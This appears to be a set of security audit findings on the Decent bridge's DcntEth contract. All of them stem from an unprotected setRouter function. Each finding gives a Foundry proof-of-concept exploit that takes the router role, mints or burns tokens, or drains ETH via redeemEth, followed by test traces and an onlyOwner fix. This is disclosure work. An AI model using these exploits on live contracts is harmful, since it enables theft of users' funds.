Decent - mgf15's results

Lines of code

https://github.com/decentxyz/decent-bridge/blob/7f90fd4489551b69c20d11eeecb17a3f564afb18/src/DcntEth.sol#L20-L22

Vulnerability details

Impact

the function setRouter at DcntEth.sol doesn't implement advanced access control, so anyone can call it.

function setRouter(address _router) public {
        router = _router;
    }

Proof of Concept

add this poc DecentEthTest.t.sol to test folder then run

$forge test --mc DecentEthTest -vvvv

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/console.sol";
import {Test, console} from "forge-std/Test.sol";
import {DcntEth} from "src/DcntEth.sol";

contract DecentEthTest is Test{
    DcntEth public dcntEth;
    address lzEndpointArbitrum = 0x3c2269811836af69497E5F486A85D7316753cf62;

    function setUp() public {
        
        dcntEth = new DcntEth(lzEndpointArbitrum);
        
    }
    
    function test_change() public {
        address owner = makeAddr("owner");
        address attacker = makeAddr("attacker");
        // set the owner
        vm.startPrank(owner);
        dcntEth.setRouter(owner);
        vm.stopPrank();
        // try to set the owner
        vm.startPrank(attacker);
        dcntEth.setRouter(attacker);

    }
}

logs

[⠆] Compiling...
[⠆] Compiling 1 files with 0.8.20
[⠰] Solc 0.8.20 finished in 2.96sCompiler run successful!
[⠔] Solc 0.8.20 finished in 2.96s

Running 1 test for test/DecentEthTest.t.sol:DecentEthTest
[PASS] test_change() (gas: 35548)
Traces:
  [35548] DecentEthTest::test_change()
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266]
    ├─ [0] VM::label(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266], "owner")
    │   └─ ← ()
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
    ├─ [0] VM::label(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], "attacker")
    │   └─ ← ()
    ├─ [0] VM::startPrank(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
    │   └─ ← ()
    ├─ [22543] DcntEth::setRouter(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
    │   └─ ← ()
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    ├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
    │   └─ ← ()
    ├─ [643] DcntEth::setRouter(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.17ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Review, forge

Recommended Mitigation Steps

diff --git a/DcntEth.sol b/aDcntEth.sol
index caf6540..5834cab 100644
--- a/DcntEth.sol
+++ b/aDcntEth.sol
@@ -17,7 +17,7 @@ contract DcntEth is OFTV2 {
     /**
      * @param _router the decentEthRouter associated with this eth
      */
-    function setRouter(address _router) public {
+    function setRouter(address _router) public onlyOwner {
         router = _router;
     }

Assessed type

Access Control

Lines of code

https://github.com/decentxyz/decent-bridge/blob/7f90fd4489551b69c20d11eeecb17a3f564afb18/src/DcntEth.sol#L20

Vulnerability details

Impact

the function mint need the caller to be router , but the setRouter function leak access control , any one can set router and mint .

Proof of Concept

add this poc DecentEthTest.t.sol to test folder then run

$forge test --mc DecentEthTest -vvvv

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/console.sol";
import {Test, console} from "forge-std/Test.sol";
import {DcntEth} from "src/DcntEth.sol";

contract DecentEthTest is Test{
    DcntEth public dcntEth;
    address lzEndpointArbitrum = 0x3c2269811836af69497E5F486A85D7316753cf62;

    function setUp() public {
        
        dcntEth = new DcntEth(lzEndpointArbitrum);
        
    }
    
    function test_change() public {
        address attacker = makeAddr("attacker");
        // set the owner
        vm.startPrank(attacker);
        dcntEth.setRouter(attacker);
        console.log("balance Of attacker before mint:",dcntEth.balanceOf(attacker));
        dcntEth.mint(attacker, 5e18);
        console.log("balance Of attacker after mint:",dcntEth.balanceOf(attacker));

    }
}

logs

[⠆] Compiling...
[⠆] Compiling 1 files with 0.8.20Compiler run successful!
[⠰] Compiling 1 files with 0.8.20
[⠔] Solc 0.8.20 finished in 3.05s

Running 1 test for test/DecentEthTest.t.sol:DecentEthTest
[PASS] test_change() (gas: 85521)
Logs:
  balance Of attacker before mint: 0
  balance Of attacker after mint: 5000000000000000000

Traces:
  [85521] DecentEthTest::test_change()
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
    ├─ [0] VM::label(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], "attacker")
    │   └─ ← ()
    ├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
    │   └─ ← ()
    ├─ [22543] DcntEth::setRouter(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
    │   └─ ← ()
    ├─ [2598] DcntEth::balanceOf(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
    │   └─ ← 0
    ├─ [0] console::log("balance Of attacker before mint:", 0) [staticcall]
    │   └─ ← ()
    ├─ [44810] DcntEth::mint(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], 5000000000000000000 [5e18])
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], value: 5000000000000000000 [5e18])
    │   └─ ← ()
    ├─ [598] DcntEth::balanceOf(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
    │   └─ ← 5000000000000000000 [5e18]
    ├─ [0] console::log("balance Of attacker after mint:", 5000000000000000000 [5e18]) [staticcall]
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.14ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Review, forge

Recommended Mitigation Steps

diff --git a/DcntEth.sol b/aDcntEth.sol
index caf6540..5834cab 100644
--- a/DcntEth.sol
+++ b/aDcntEth.sol
@@ -17,7 +17,7 @@ contract DcntEth is OFTV2 {
     /**
      * @param _router the decentEthRouter associated with this eth
      */
-    function setRouter(address _router) public {
+    function setRouter(address _router) public onlyOwner {
         router = _router;
     }

Assessed type

Access Control

Lines of code

https://github.com/decentxyz/decent-bridge/blob/7f90fd4489551b69c20d11eeecb17a3f564afb18/src/DcntEth.sol#L20

Vulnerability details

Impact

due to leak access control in setRouter, any one can burn other users dcnteth due to leak of access control setRouter function .

Proof of Concept

add this poc DecentEthTest.t.sol to test folder then run

$forge test --mc DecentEthTest -vvvv

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/console.sol";
import {Test, console} from "forge-std/Test.sol";
import {DcntEth} from "src/DcntEth.sol";

contract DecentEthTest is Test{
    DcntEth public dcntEth;
    address lzEndpointArbitrum = 0x3c2269811836af69497E5F486A85D7316753cf62;

    function setUp() public {
        
        dcntEth = new DcntEth(lzEndpointArbitrum);
        
    }
    
    function test_change() public {
        address owner = makeAddr("owner");
        address user = makeAddr("user");
        address attacker = makeAddr("attacker");
        // set the owner
        vm.startPrank(owner);
        dcntEth.setRouter(owner);
        // mint to user
        dcntEth.mint(user, 5e18);
        console.log("balance Of user before mint:",dcntEth.balanceOf(user));
        // set attacker as a owner
        vm.startPrank(attacker);
        dcntEth.setRouter(attacker);
        // burn user balance
        dcntEth.burn(user, 5e18);
        console.log("balance Of user after mint:",dcntEth.balanceOf(user));

    }
}

logs

[⠆] Compiling...
[⠆] Compiling 1 files with 0.8.20Compiler run successful!
[⠰] Compiling 1 files with 0.8.20
[⠔] Solc 0.8.20 finished in 2.97s

Running 1 test for test/DecentEthTest.t.sol:DecentEthTest
[PASS] test_change() (gas: 70754)
Logs:
  balance Of user before mint: 5000000000000000000
  balance Of user after mint: 0

Traces:
  [74967] DecentEthTest::test_change()
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266]
    ├─ [0] VM::label(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266], "owner")
    │   └─ ← ()
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]
    ├─ [0] VM::label(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], "user")
    │   └─ ← ()
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
    ├─ [0] VM::label(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], "attacker")
    │   └─ ← ()
    ├─ [0] VM::startPrank(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
    │   └─ ← ()
    ├─ [22543] DcntEth::setRouter(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
    │   └─ ← ()
    ├─ [46810] DcntEth::mint(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 5000000000000000000 [5e18])
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], value: 5000000000000000000 [5e18])
    │   └─ ← ()
    ├─ [598] DcntEth::balanceOf(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
    │   └─ ← 5000000000000000000 [5e18]
    ├─ [0] console::log("balance Of user before mint:", 5000000000000000000 [5e18]) [staticcall]
    │   └─ ← ()
    ├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
    │   └─ ← ()
    ├─ [643] DcntEth::setRouter(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
    │   └─ ← ()
    ├─ [3067] DcntEth::burn(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 5000000000000000000 [5e18])
    │   ├─ emit Transfer(from: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], to: 0x0000000000000000000000000000000000000000, value: 5000000000000000000 [5e18])
    │   └─ ← ()
    ├─ [598] DcntEth::balanceOf(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
    │   └─ ← 0
    ├─ [0] console::log("balance Of user after mint:", 0) [staticcall]
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.32ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Review, forge

Recommended Mitigation Steps

diff --git a/DcntEth.sol b/aDcntEth.sol
index caf6540..5834cab 100644
--- a/DcntEth.sol
+++ b/aDcntEth.sol
@@ -17,7 +17,7 @@ contract DcntEth is OFTV2 {
     /**
      * @param _router the decentEthRouter associated with this eth
      */
-    function setRouter(address _router) public {
+    function setRouter(address _router) public onlyOwner {
         router = _router;
     }

Assessed type

Access Control

Lines of code

https://github.com/decentxyz/decent-bridge/blob/7f90fd4489551b69c20d11eeecb17a3f564afb18/src/DecentEthRouter.sol#L285-L291

Vulnerability details

Impact

an attacker who gain access on router due to leak of access control in setRouter function , by become a router can mint DecntETH then send all the Eth/Weth from the contract .

Proof of Concept

add this poc DecentBridgeExecutorTest.t.sol to test folder then run

$forge test --mc DecentBridgeExecutorTest -vvvv

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/console.sol";
import {DecentBridgeExecutor} from "../src/DecentBridgeExecutor.sol";
import {Test, console } from "forge-std/Test.sol";
import {WETH} from "solmate/tokens/WETH.sol";
import {DecentEthRouter} from "src/DecentEthRouter.sol";
import {DcntEth} from "src/DcntEth.sol";
import {CommonRouterSetup} from "test/util/CommonRouterSetup.sol";

contract DecentBridgeExecutorTest is Test,CommonRouterSetup{
    
    address lzEndpointArbitrum = 0x3c2269811836af69497E5F486A85D7316753cf62;
    WETH weth;
    bool isGasEth = true;
    function setUp() public {
        weth = new WETH();
        DecentBridgeExecutor executor = new DecentBridgeExecutor(payable(address(weth)), isGasEth);
        router = new DecentEthRouter(
            payable(address(weth)),
            isGasEth,
            address(executor)
        );
        executor.transferOwnership(address(router));
        dcntEth = new DcntEth(lzEndpointArbitrum);
        router.registerDcntEth(address(dcntEth));
        dcntEth.setRouter(address(router));
        
    
    }

    function test_gettheether() public {
        // get a new user
        address user = makeAddr("user");
        // mint 5 Weth to router
        uint256 amount = 1e18 * 5;
        vm.prank(address(router));
        // deal some eth to router 
        vm.deal(address(router),10 ether);
        weth.deposit{value: amount}();
        vm.startPrank(user);
        // take the owner
        dcntEth.setRouter(user);
        // mint some dcntEth
        dcntEth.mint(user, 5 ether);
        dcntEth.approve(address(router), 5 ether);
        //get some ether and weth
        assertEq(user.balance, 0 ether); // must be 0 ether 
        router.redeemEth(1 ether);
        router.redeemEth(1 ether);
        router.redeemEth(1 ether);
        router.redeemEth(1 ether);
        router.redeemEth(0.9 ether); // user got 4.9 ether from the contract
        assertEq(user.balance, 4.9 ether);
        console.log(dcntEth.balanceOf(user));
        console.log(weth.balanceOf(address(router)));

    }
}

Tools Used

Manual Review, forge

Recommended Mitigation Steps

diff --git a/DcntEth.sol b/aDcntEth.sol
index caf6540..5834cab 100644
--- a/DcntEth.sol
+++ b/aDcntEth.sol
@@ -17,7 +17,7 @@ contract DcntEth is OFTV2 {
     /**
      * @param _router the decentEthRouter associated with this eth
      */
-    function setRouter(address _router) public {
+    function setRouter(address _router) public onlyOwner {
         router = _router;
     }

Assessed type

Access Control